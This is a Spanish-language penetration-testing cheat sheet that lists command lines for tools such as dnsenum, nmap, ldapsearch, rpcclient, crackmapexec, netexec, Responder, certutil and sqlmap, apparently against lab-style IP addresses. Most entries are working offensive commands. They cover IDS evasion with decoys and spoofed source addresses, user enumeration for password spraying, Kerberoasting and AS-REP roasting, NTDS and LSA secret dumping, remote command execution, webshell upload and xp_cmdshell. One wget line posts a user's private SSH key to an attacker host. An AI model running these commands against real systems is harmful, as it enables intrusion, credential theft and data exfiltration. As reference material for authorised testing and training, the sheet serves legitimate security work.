Índice de Herramientas y Comandos
DNSenum
Fuerza bruta
dnsenum --dnsserver 10.10.10.10. --enum -p 0 -s 0 -o subdomains.txt -f /opt/useful/seclists/Discovery/DNS/subdomains-top1million-110000.txt dominio.com
for sub in $(cat /opt/useful/seclists/Discovery/DNS/subdomains-top1million-110000.txt);do dig $sub.domain.com @10.10.10.10 | grep -v ';\|SOA' | sed -r '/^\s*$/d' | grep $sub | tee -a subdomains.txt;done
dig
Utiliza dig para realizar consultas DNS
Como resultado, devuelve una dirección IPv4 del dominio solicitado.
dig @10.10.10.10 A dominio.com
Devuelve una dirección IPv6 del dominio solicitado.
dig @10.10.10.10 AAAA dominio.com
Devuelve como resultado los servidores de correo responsables.
dig @10.10.10.10 MX dominio.com
Devuelve los servidores DNS (servidores de nombres) del dominio.
dig @10.10.10.10 NS dominio.com
Este registro puede contener diversa información. El todoterreno se puede utilizar, por ejemplo, para validar Google Search Console o validar certificados SSL. Además, las entradas SPF y DMARC están configuradas para validar el tráfico de correo y protegerlo del spam.
dig @10.10.10.10 TXT dominio.com
Este registro sirve como alias para otro nombre de dominio. Si desea que el dominio www.hackthebox.eu apunte a la misma IP que hackthebox.eu, deberá crear un registro A para hackthebox.eu y un registro CNAME para www.hackthebox.eu.
dig @10.10.10.10 CNAME dominio.com
El registro PTR funciona al revés (búsqueda inversa). Convierte direcciones IP en nombres de dominio válidos.
dig @10.10.10.10 PTR dominio.com
Proporciona información sobre la zona DNS correspondiente y la dirección de correo electrónico del contacto administrativo.
dig @10.10.10.10 SOA dominio.com
dig @10.10.10.10 AXFR dominio.com
Puttygen
ppk a id_rsa
puttygen cert.ppk -O private-openssh -o id_dsa
puttygen cert.ppk -O public-openssh -o id_dsa.pub
SQLMap
Utilizar un archivo para realizar el testeo con SQLMAP
sqlmap -r sqli.txt --level=5 --risk=3 -p email --batch -D usage_blog -T admin_users -C id,name,password --dump
LDAPSearch
Podemos confirmar el enlace LDAP anónimo con ldapsearch y recuperar todos los objetos AD de LDAP
ldapsearch -H ldap://domain.com:389 -x -b "dc=domain,dc=com"
ldapsearch -H ldaps://domain.com:636 -x -b "dc=domain,dc=com"
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
SMBGet
Herramienta que te permite interactuar con SMB y descargar firechos/directorios de forma recursiva
smbget --recursive "smb://IP/directorio/" -N
Mount
Consiste en especificar el dispositivo que contiene el sistema de archivos y la ubicación donde se desea montar.
sudo mkidir /mnt/direjemplo
Montura
sudo mount -t cift //IP/recurso /mnt/direjemplo
Listar montura
ls -l /mnt/direjemplo
Qemu-nbd
montaje como dispositivo de bloque - Instalar el módulo
sudo apt install qemu-utils
Cargar el módulo nbd
sudo modprobe nbd max_part=8
Conectar el .vhd como disco
sudo qemu-nbd --connect=/dev/nbd0 /ruta/al/disco.vhd
Ver las particiones
sudo fdisk -l /dev/nbd0
Montar la partición deseada - ejemplo la primera
sudo mount /dev/nbd0p1 /mnt/vhd
Desmontar
sudo umount /mnt/vhd
sudo qemu-nbd --disconnect /dev/nbd0
ldapsearch-ad
Hay muchas otras herramientas y scripts auxiliares para recuperar información de LDAP. Este guión ldapsearch-ad.py es similar a windapsearch.
https://github.com/yaap7/ldapsearch-ad
python3 ldapsearch-ad.py -h
Podemos usarlo para extraer información de dominio y confirmar un enlace NULL. Esta herramienta en particular requiere credenciales de usuario de dominio válidas para realizar una enumeración adicional.
python3 ldapsearch-ad.py -l 10.129.1.2 -t info
Esta herramienta puede realizar toda la enumeración estándar y algunas búsquedas integradas para simplificar las cosas. Podemos obtener rápidamente la política de contraseñas.
python3 ldapsearch-ad.py -l 10.129.1.2 -d domain.com -u user -p pass -t pass-pols
Podemos buscar usuarios que puedan estar sujetos a un ataque de Kerberoasting.
python3 ldapsearch-ad.py -l 10.129.1.2 -d domain.com -u user -p pass -t kerberoast | grep servicePrincipalName:
Además, recupera rápidamente usuarios que pueden ser ASREPRoasted.
python3 ldapsearch-ad.py -l 10.129.1.2 -d domain.com -u user -p user -t asreproast
Windapsearch
Es un script de Python que se utiliza para realizar una enumeración LDAP anónima y autenticada de usuarios, grupos y equipos de AD que utilizan consultas LDAP. Es una alternativa a herramientas como ldapsearch, que requieren que cree consultas LDAP personalizadas. Podemos usarlo para confirmar la autenticación de sesión LDAP NULL pero proporcionando un nombre de usuario en blanco con -u "" y agregar --functionality para confirmar el nivel funcional del dominio.
git clone https://github.com/ropnop/windapsearch.git
python3 windapsearch.py --dc-ip 10.129.1.207 -u "" --functionality
Podemos obtener una lista de todos los usuarios de dominio para usar en un ataque de pulverización de contraseñas.
python3 windapsearch.py --dc-ip 10.129.1.207 -u "" -U
Podemos obtener información sobre todas las computadoras de dominio.
python3 windapsearch.py --dc-ip 10.129.1.207 -u "" -C
Enumeracion del dominio con credenciales
python3 windapsearch.py --dc-ip 10.129.1.207 -u inlanefreight\\james.cross --da
Algunas opciones útiles adicionales, incluyendo tirar de usuarios y computadoras con delegación sin restricciones.
python3 windapsearch.py --dc-ip 10.129.1.207 -d inlanefreight.local -u inlanefreight\\james.cross --unconstrained-users
Impacto en la red VNSTAT
También es esencial tener en cuenta el impacto potencial del escaneo de vulnerabilidades en una red, especialmente en enlaces de bajo ancho de banda o congestionados. Esto se puede medir usando vnstat
sudo apt install vnstat
supervicion de adaptador de red antes de utilizar cualquier escaner
sudo vnstat -l -i eth0
Nikto
Es una herramienta que nos ayuda a identificar vulnerabilidades e informacion del host destino.
nikto -h http://url
El indicador -Tuning b indica que solo se ejecuten los módulos de identificación de software.
nikto -h http://url -Tuning b
RPCCLIENT
Nos ofrece multitud de peticiones diferentes con las que podemos ejecutar funciones específicas en el servidor SMB para obtener información. Una lista completa de todas estas funciones se puede encontrar en la página del manual del cliente rpc.
Autenticacion como usuario anonymous
rpcclient -U “” IP -N
Enumeracion de usuarios, grupos, impresoras.
enumdomusers
enumdomgroups
enumprinters
RID de Usuario de fuerza bruta
for i in $(seq 500 1100);do rpcclient -N -U "" -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
XSLTPROC
Es una herramienta que no permite modifica el formato de un archivo a otro.
xsltproc target.xml -o target.html
Gobuster
Enumeración de subdominios(virtula hosting)
gobuster vhost -w /diccionario.txt -u http://testing.com --append-domain -t 100
Enumeración de directorios
gobuster dir -w /diccionario.txt -u http://testing.com -t 200
Nmap
Enumeracion de puertos sigiloso
nmap -p- --open -sS --min-rate 5000 -Pn -n -vvv IP
Deteccion de versiones y servicios
nmap -p21,22,80,443,445 -sV -sC IP
Descubrimieto de host
sudo nmap 10.129.2.0/24 -sn -oA tnet | grep for | cut -d" " -f5
Escanear listado de IPs
sudo nmap -sn -oA tnet -iL hosts.lst | grep for | cut -d" " -f5
Escanear multiples IPs
sudo nmap -sn -oA tnet 10.129.2.18 10.129.2.19 10.129.2.20| grep for | cut -d" " -f5
Escanear IPs en el octeto respectivo
sudo nmap -sn -oA tnet 10.129.2.18-20| grep for | cut -d" " -f5
Escanear IP obteniendo un desglose de los paquetes enviados y Realiza el escaneo de ping mediante el uso de 'Solicitudes de eco ICMP'
sudo nmap 10.129.2.18 -sn -oA host -PE --packet-trace
Otra forma de determinar por qué Nmap tiene nuestro objetivo marcado como "vivo" es con la opción .--reason
sudo nmap 10.129.2.18 -sn -oA host -PE --reason
Escanear IP deshabilitando pings ARP configurando la opción --discable-arp-ping
sudo nmap 10.129.2.18 -sn -oA host -PE --packet-trace --disable-arp-ping
Escanear puerto de una IP utilizando la banderilla --top-ports que enumera los 10 puertos comunes en un servidor
sudo nmap 10.129.2.28 --top-ports=10
Escaner puertos de una IP rastreando los paquetes
sudo nmap 10.129.2.28 -p 21 --packet-trace -Pn -n --disable-arp-ping
Escaneo de tipo Connect Scan este tipo de escaneo es funcional si necesitamos no ser detectados por los sistemas IPS o IDS
sudo nmap 10.129.2.28 -p 443 --packet-trace --disable-arp-ping -Pn -n --reason -sT
Escaneo de puertos UDP
sudo nmap 10.129.2.28 -F -sU
sudo nmap 10.129.2.28 -sU -Pn -n --disable-arp-ping --packet-trace -p 137 --reason
Escaneo de Versiones TCP
sudo nmap 10.129.2.28 -Pn -n --disable-arp-ping --packet-trace -p 445 --reason -sV
sudo nmap -p- --open -sV -n -v --min-rate 5000 -Pn
Escaneo de puertos TCP monstrando el estado del escaneo
sudo nmap 10.129.2.28 -p- -sV --stats-every=5s
Scripts predeterminados
sudo nmap target -sC
Categoría específica de scripts
sudo nmap target --script category
Scripts definidos
sudo nmap target --script script-name,script-name
sudo nmap 10.129.2.28 -p 25 --script banner,smtp-commands
Firewall y Evasion de IDS/IPS
Escaneo mediante el uso de diferentes IP de origen
sudo nmap 10.129.2.28 -n -Pn -p 445 -O -S 10.129.2.200 -e tun0
Escaneo mediante señuelos
sudo nmap 10.129.2.28 -p 80 -sS -Pn -n --disable-arp-ping --packet-trace -D RND:5
Escaneo SYN de un puerto filtrado
sudo nmap 10.129.2.28 -p50000 -sS -Pn -n --disable-arp-ping --packet-trace
Escaneo SYK desde el puerto DNS
sudo nmap 10.129.2.28 -p50000 -sS -Pn -n --disable-arp-ping --packet-trace --source-port 53
CATEGORIAS SCRIPT DE NMAP
• auth - Determinación de credenciales de autenticación.
• broadcast - Los scripts, que se utilizan para la detección de hosts mediante la difusión y los hosts detectados, se pueden agregar automáticamente a los exámenes restantes.
• brute - Ejecuta scripts que intentan iniciar sesión en el servicio respectivo mediante fuerza bruta con credenciales.
• default - Scripts predeterminados ejecutados mediante la opción.-sC
• discovery - Evaluación de servicios accesibles.
• exploit - Esta categoría de scripts intenta explotar las vulnerabilidades conocidas para el puerto escaneado.
• external - Scripts que utilizan servicios externos para su posterior procesamiento.
• fuzzer - Esto utiliza scripts para identificar vulnerabilidades y manejo inesperado de paquetes mediante el envío de diferentes campos, lo que puede llevar mucho tiempo.
• intrusive - Scripts intrusivos que podrían afectar negativamente al sistema de destino.
• malware - Comprueba si algún malware infecta el sistema de destino.
• safe - Scripts defensivos que no realizan accesos intrusivos y destructivos.
• version - Extensión para la detección de servicios.
• vuln - Identificación de vulnerabilidades específicas.
Certutil.exe
Inspeccion de hash en windows
CertUtil -hashfile "Ruta del archivo" MD5
Descarga de recurso en servidor externo
Certutil -f -urlcache -split http://IP/recurso
CrypTool
CrypTool ofrece conocimientos sobre criptología y herramientas gratuitas para autoeducarse y enseñar sobre criptología.
https://www.cryptool.org/en/
Git-dumper
Una herramienta para volcar un repositorio git desde un sitio web.
git clone https://github.com/arthaud/git-dumper
git-dumper http://testing.com/.git /web
HashId
Un identificador de hash
hashid HASH
Hash-Identifier
Es otra utilidad que permite identificar el tipo de hash
hash-identifier HASH
Proxychains-ng
Proxychains-ng es un servidor proxy que soporta los protocolos de internet HTTP, SOCKS4 y SOCKS5, y que funciona sobre distribuciones Linux/GNU, BSD y Mac OS X. Proxychains-ng permite que cualquier conexión TCP hecha por un programa dado siga una serie de proxies hasta su destino
Link info https://www.redeszone.net/tutoriales/seguridad/proxychains-tor-linux-ocultar-identidad-internet/
Respoder.py
Su objetivo principal es la obtención de credenciales de usuario y hashes en sistemas operativos windows AD.
python3 responder.py -I eth0 -wd
SSLScan
es una herramienta muy sencilla de usar para comprobar la seguridad de nuestras conexiones SSL con determinados servidores
sslscan http://testing.com
Chisel
Port forwarding
https://github.com/jpillora/chisel
Montado del servidor
server $./chisel server --reverse -p 1234
Conexion de lado del cliente
client $./chisel client 10.10.10.10:1234 | R:socks | R:443:10.10.0.128:443/udp | R:443:10.10.0.128:443
Crackmapexec
Permite listar recursos apuntando a diferentes protocolos FTP, RDP, SMB, SSH, MSSQL etc.
crackmapexec smb 10.10.10.10 -u 'luis' -p 'luis'
Listado de recursos
crackmapexec smb 10.10.10.10 -u 'luis' -p 'luis' --shares
Listado de Usuarios
crackmapexec smb 10.10.10.10 -u 'luis' -p 'luis' --users
Listado de Informacion
crackmapexec smb 10.10.10.10 -u 'luis' -p 'luis' --all
Listado de recursos indicando puerto
crackmapexec smb 10.10.10.10 -u 'luis' -p 'luis' -p 445 --shares
Indicando dominio
crackmapexec smb 10.10.10.10 -u 'luis' -p 'luis' -d mydomain --shares
Listado de equipo
crackmapexec smb 10.10.10.10 -u 'luis' -p 'luis' --computer
Dumping NTDS - Se necesita admin
crackmapexec smb 10.10.10.10 -u 'luis' -p 'luis' --ntds
Dumping Secrets - Se necesita admin
crackmapexec smb 10.10.10.10 -u 'luis' -p 'luis' --lsa
NetExec
Permite listar recursos apuntanod a diferentes protocolos FTP, RDP, SMB, SSH, MSSQL etc.
netexec smb 10.10.10.10 -u 'luis' -p 'luis'
Listado de recursos mediante smb
netexec smb 10.10.10.10 -u 'luis' -p 'luis' --shares
Dumping NTDS
netexec smb 10.10.10.10 -u 'luis' -p 'luis' --ntds
Dumping LSA
netexec smb 10.10.10.10 -u 'luis' -p 'luis' --lsa
Ejecucion de Comandos
netexec smb 10.10.10.10 -u 'luis' -p 'luis' -x "Command"
Curl
Permite interactual con sitios web
curl http://tesing.com
Identificar IP publica
curl ifconfig.me
Carga de archivo
curl -T cmd.php "http://10.10.10.10"
Carga de archivo y autenticacion
curl -s -T cmd.php --anyauth --user admin:w3bd4v513 "http://192.168.1.99/webdav/"
Wget
Descarga de fichero
wget http://testing.com/fichero.txt
Ver archivos locales con wget por post
wget --post-file=/home/user/.ssh/id_rsa ip_atacante:4444
Identificar IP Publica
wget -qO- ifconfig.me
Dirbuster
Enumeracion de directorios
dirbuster -u http://testing.com
SMBMap
Enumeracion de recursos via SMB
smbmap -H IP -u 'null'
Autenticacion
smbmap -H IP -u 'null' -p password
Autenticacion indicando dominio
smbmap -H IP -u 'null' -p password -d dominio
Enumeracion de recursos
smbmap -H IP -u 'null' -p password -r rescurso
Descaga de recurso
smbmap -H IP -u 'null' -p password --download rescurso/recurso.txt
SMBClient
Enumeracion de recursos via SMB
smbclient -L IP -N
Autenticacion nula via smb
smbclient -L //IP/recurso -N
Autenticacion via smb
smbclient -L //IP/recurso -U "admin%Pwned!123"
Descargar y Cargar archivos
get file.txt
put file.txt
Olevba
Enumeracion de macros
pip3 install olevtools
Inspeccion de macro
olevba ejemplo.xlsm
Impacket-mssqlclient
Enumeracion DB Windows MSSQL
impacket-mssqclient WORKGROUP/user@10.10.10.10 -windows-auth
Autenticacion xterna mediante xp_dirtree
exec xp_dirtree "\\10.10.10.10\smb\"
Ejecicion de Comandos mediante xp_cmdshell
xp_cmdshell "whoami"
Mingw-w64
Compilar script en C y convertirlos en .exe
sudo apt install mingw-w64
x86_64-w64-mingw32-gcc script.c -o ejecutable.exe